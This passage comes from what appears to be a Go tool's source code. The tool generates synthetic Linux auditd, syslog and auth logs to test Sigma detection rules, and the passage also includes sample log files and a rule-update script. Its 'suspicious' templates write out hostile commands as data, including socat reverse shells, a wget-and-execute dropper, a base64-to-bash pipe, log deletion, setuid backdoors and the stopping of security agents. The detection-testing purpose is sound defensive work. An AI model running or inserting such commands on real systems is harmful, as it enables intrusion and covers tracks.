"lnx_auditd_system_info_discovery", }, // lnx_auditd_password_policy_discovery via PATH { comm: "cat", exe: "/bin/cat", secondType: "PATH", secondFields: fmt.Sprintf("item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL", pick(rng, []string{"/etc/login.defs", "/etc/pam.d/common-auth", "/etc/pam.d/common-password", "/etc/security/pwquality.conf"}), rng.Intn(999999)+1000, ), rule: "lnx_auditd_password_policy_discovery", }, // lnx_auditd_password_policy_discovery via EXECVE chage { comm: "chage", exe: "/usr/bin/chage", secondType: "EXECVE", secondFields: fmt.Sprintf("argc=3 a0=chage a1=%q a2=%q", pick(rng, []string{"--list", "-l"}), pick(rng, usernames), ), rule: "lnx_auditd_password_policy_discovery", }, } t := templates[rng.Intn(len(templates))] syscallFields := fmt.Sprintf( "arch=c000003e syscall=59 success=yes exit=0 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts1 ses=3 comm=%q exe=%q key=susp_activity", ppid, pid, auid, auid, auid, auid, auid, auid, auid, auid, auid, t.comm, t.exe, ) return []entry{ {line: auditField(ts, seq, "SYSCALL", syscallFields), rule: t.rule}, {line: auditField(ts, seq, t.secondType, t.secondFields)}, } } // ─── Syslog ────────────────────────────────────────────────────────────────── func generateSyslog(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) { cur := start var entries []entry for i := 0; i < count; i++ { cur = advanceTime(rng, cur) var e entry if rng.Float64() < ratio { e = syslogSuspicious(rng, cur) } else { e = syslogBenign(rng, cur) } entries = append(entries, e) } return entries, cur } func syslogTS(t time.Time) string { return t.Format("Jan _2 15:04:05") } func syslogLine(t time.Time, host, proc, msg string) string { return fmt.Sprintf("%s %s %s: %s", syslogTS(t), host, proc, msg) } func syslogBenign(rng *rand.Rand, t time.Time) entry { host := pick(rng, hostnames) pid := randPID(rng) user := pick(rng, usernames) ip := pick(rng, srcIPs) type tmpl struct{ proc, msg string } templates := []tmpl{ {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Accepted %s for %s from %s port %d ssh2", pick(rng, []string{"password", "publickey"}), user, ip, 20000+rng.Intn(45535))}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Disconnected from %s port %d", ip, 20000+rng.Intn(45535))}, {fmt.Sprintf("sudo[%d]", pid), fmt.Sprintf("%s : TTY=pts/%d ; PWD=/home/%s ; USER=root ; COMMAND=%s", user, rng.Intn(5), user, pick(rng, []string{"/usr/bin/apt-get update", "/bin/systemctl restart nginx", "/usr/sbin/logrotate", "/usr/bin/journalctl -xe"}))}, {fmt.Sprintf("cron[%d]", pid), fmt.Sprintf("(root) CMD (%s)", pick(rng, []string{"/usr/lib/update-notifier/apt-check", "/etc/cron.daily/logrotate", "/usr/sbin/ntpdate pool.ntp.org", "test -x /usr/sbin/anacron"}))}, {fmt.Sprintf("systemd[%d]", pid), fmt.Sprintf("Started %s.", pick(rng, []string{"OpenBSD Secure Shell server", "Daily apt upgrade and clean activities", "Rotate log files", "Network Manager"}))}, {fmt.Sprintf("kernel"), fmt.Sprintf("EXT4-fs (%s): %s", pick(rng, []string{"sda1", "sdb1", "nvme0n1p1"}), pick(rng, []string{"mounted filesystem with ordered data mode.", "recovery complete.", "1 orphan inode deleted."}))}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("pam_unix(sshd:session): session %s for user %s by (uid=0)", pick(rng, []string{"opened", "closed"}), user)}, {fmt.Sprintf("NetworkManager[%d]", pid), fmt.Sprintf(" [%s] device (%s): state change: activated -> deactivated", t.Format("1504.05"), pick(rng, []string{"eth0", "eth1", "ens3", "ens33"}))}, } chosen := templates[rng.Intn(len(templates))] return entry{line: syslogLine(t, host, chosen.proc, chosen.msg)} } func syslogSuspicious(rng *rand.Rand, t time.Time) entry { host := pick(rng, hostnames) pid := randPID(rng) port := 1024 + rng.Intn(64511) ip := pick(rng, srcIPs) type suspTmpl struct{ proc, msg, rule string } templates := []suspTmpl{ // lnx_syslog_security_tools_disabling_syslog {fmt.Sprintf("systemd[%d]", pid), pick(rng, []string{ "stopping iptables firewall service", "stopping ip6tables ipv6 firewall", "stopping firewalld dynamic firewall daemon", "stopping cbdaemon Carbon Black defense", "stopping falcon-sensor CrowdStrike Falcon", }), "lnx_syslog_security_tools_disabling_syslog"}, // lnx_clear_syslog {fmt.Sprintf("bash[%d]", pid), pick(rng, []string{ "rm /var/log/syslog", "rm -f /var/log/syslog", "rm -rf /var/log/syslog", "mv /var/log/syslog /dev/null", " > /var/log/syslog", }), "lnx_clear_syslog"}, // lnx_shell_susp_commands — netcat listener {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("nc -l -p %d", port), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — socat reverse shell {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("socat exec:/bin/bash,pty,stderr,setsid tcp:%s:%d", ip, port), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — wget dropper {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("wget http://%s/%s; chmod +x %s; ./%s", ip, pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}), pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}), pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}), ), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — base64 decode pipe {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("echo %s | base64 -d | bash", pick(rng, []string{"aGVsbG8=", "L2Jpbi9iYXNo", "d2dldCBodHRwOi8v"})), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — setuid on tmp file {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("chmod +s /tmp/%s", pick(rng, []string{"rootkit", "backdoor", "x", "exploit", "shell"})), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — python SimpleHTTPServer {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("python -m SimpleHTTPServer %d", port), "lnx_shell_susp_commands"}, // lnx_shell_susp_commands — socat tcp-connect {fmt.Sprintf("bash[%d]", pid), fmt.Sprintf("socat tcp-connect:%s:%d exec:/bin/sh", ip, port), "lnx_shell_susp_commands"}, } tmpl := templates[rng.Intn(len(templates))] return entry{ line: syslogLine(t, host, tmpl.proc, tmpl.msg), rule: tmpl.rule, } } // ─── Auth log ───────────────────────────────────────────────────────────────── func generateAuth(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) { cur := start var entries []entry for i := 0; i < count; i++ { cur = advanceTime(rng, cur) var e entry if rng.Float64() < ratio { e = authSuspicious(rng, cur) } else { e = authBenign(rng, cur) } entries = append(entries, e) } return entries, cur } func authBenign(rng *rand.Rand, t time.Time) entry { host := pick(rng, hostnames) pid := randPID(rng) user := pick(rng, usernames) ip := pick(rng, srcIPs) port := 20000 + rng.Intn(45535) type tmpl struct{ proc, msg string } templates := []tmpl{ {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Accepted %s for %s from %s port %d ssh2", pick(rng, []string{"password", "publickey"}), user, ip, port)}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Failed password for %s from %s port %d ssh2", user, ip, port)}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Failed password for invalid user %s from %s port %d ssh2", pick(rng, []string{"ftp", "test", "admin", "root", "pi"}), ip, port)}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("pam_unix(sshd:session): session %s for user %s by (uid=0)", pick(rng, []string{"opened", "closed"}), user)}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Disconnected from authenticating user %s %s port %d [preauth]", user, ip, port)}, {fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Connection closed by %s port %d", ip, port)}, } chosen := templates[rng.Intn(len(templates))] return entry{line: syslogLine(t, host, chosen.proc, chosen.msg)} } // sshd error messages that match lnx_sshd_susp_ssh.yml var sshdSuspMessages = []string{ "unexpected internal error", "unknown or unsupported key type", "invalid certificate signing key", "invalid elliptic curve value", "incorrect signature", "error in libcrypto", "unexpected bytes remain after decoding", "fatal: buffer_get_string: bad string", "Local: crc32 compensation attack", "bad client public DH value", "Corrupted MAC on input", } func authSuspicious(rng *rand.Rand, t time.Time) entry { host := pick(rng, hostnames) pid := randPID(rng) ip := pick(rng, srcIPs) msg := pick(rng, sshdSuspMessages) // Some messages naturally include source info, others are bare if rng.Float64() > 0.5 { msg = fmt.Sprintf("%s from %s port %d", msg, ip, 20000+rng.Intn(45535)) } return entry{ line: syslogLine(t, host, fmt.Sprintf("sshd[%d]", pid), msg), rule: "lnx_sshd_susp_ssh", } } ================================================ FILE: testdata/auditd.log ================================================ type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13 a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="sshd_config" type=CWD msg=audit(1364481363.243:24287): cwd="/home/user" type=PATH msg=audit(1364481363.243:24287): item=0 name="/etc/ssh/sshd_config" inode=409248 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL type=EXECVE msg=audit(1364481400.000:24288): argc=4 a0="nc" a1="-l" a2="-p" a3="4444" exe="/bin/nc" pid=9876 auid=0 some random line that should be skipped another non-type line type=USER_AUTH msg=audit(1364481500.000:24289): pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.10 addr=192.168.1.10 terminal=ssh res=failed' ================================================ FILE: testdata/rsyslog.log ================================================ 2023-03-01T10:00:01.000000+00:00 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2 2023-03-02T20:04:38.000000+00:00 fedora systemd[1]: iptables.service: Deactivated successfully. 2023-03-03T11:15:30.123456+00:00 server kernel: EXT4-fs error (device sda1) ================================================ FILE: testdata/syslog.log ================================================ Mar 1 10:00:01 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2 Mar 2 20:04:38 fedora systemd[1]: iptables.service: Deactivated successfully. Mar 3 11:15:30 server kernel: EXT4-fs error (device sda1): ext4_validate_block_bitmap:376 Mar 4 09:00:00 host cron[5678]: (root) CMD (/usr/lib/update-notifier/apt-check) ================================================ FILE: update-rules.sh ================================================ #!/usr/bin/env sh echo 'updating sigma rules started' git clone https://github.com/SigmaHQ/sigma.git rm -r ./rules/ mkdir ./rules/ mv ./sigma/rules/linux/ ./rules/ rm -r ./sigma/ echo 'updating sigma rules done'